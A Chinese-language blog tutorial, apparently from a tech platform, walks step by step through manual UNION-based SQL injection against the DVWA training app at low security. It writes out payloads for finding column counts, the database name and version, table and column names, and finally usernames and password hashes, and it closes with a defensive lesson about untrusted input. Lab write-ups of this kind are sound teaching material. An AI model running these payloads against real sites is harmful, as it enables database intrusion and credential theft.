DVWA的入侵SQL注入

DVWA攻击记录 LOW级别 SQL手工注入重现漏洞危害

前言>>>>在攻击开始前,我们至少要具备操作mysql的一些简单语句,否则可能此文章对阅读者的你存在困难,有朋友问这都什么年代了还会存在sql注入?其实做这个的时候是因为昨天我编写代码的时候写出了一个sql注入并且在上线的时候被朋友挖掘了出来,漏洞图如下,就因为我的一次逻辑判断错误而导致,所以今天想起了写一次sql注入的文章。
在这里插入图片描述

1.分析源码
通过源码可以发现他并没有进行任何的参数过滤而是直接的把数据带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入
在这里插入图片描述
2.判读sql是否存在注入,以及注入类型

语句 1'  and ' 1'  = ' 1  进行了字符拼接 
默认语句为: select first_name,last_name from users where user_id=' $id'  
语句为select first_name,last_name from users where user_id=' 1'  and ' 1'  = ' 1

在这里插入图片描述
语句回显正常表示存在sql注入
因为他没有过滤任何字符串我们修改了原有的$id这个变量传入的值,构建成为一个新的语句
3.猜解sql查询语句中的字段数
在这里插入图片描述
回显正常,那么表示他至少有2个字段,继续猜测表段

1'  order by 3#

猜测他这个查询语句里,查询了几个字段
从上面2张图可以看出,这个表提供的可查询字段数为2,order by 他在mysql中起了排序的作用,他可以是指定的字段名或者是字段的第几个,我们在这里选用的通过第几个字段进行排序
4.确定显示的位置(sql语句查询后的回显位置)

1'  union select 1,2#

在这里插入图片描述
5.获取当前数据库的名称以及版本号

1'  union select database(),version()

在这里插入图片描述
可以看到返回的数据库名称是dvwa这个库 数据库版本号为5.5.53
6.获取数据库中的所有表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()# 

在这里插入图片描述
7.获取数据库中的所有字段

1'  union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

在这里插入图片描述
8.获取数据库中字段数据
通过我刚刚获取的字段,进行查询获取密码 这条命令可以获取id为1的账号密码

1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 union select  user,password from users where user_id =1 #
  1' union select user,password from users where user_id =1 #

在这里插入图片描述
9.攻击总结
有时候手动注入需要注释掉原sql语句的’ 可以通过 – 或者 # (攻击思路)
用户的数据是不可信的,坚信这一点我们就会避免很多被入侵的机会。

码字不易,转载请附带我的原创链接

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值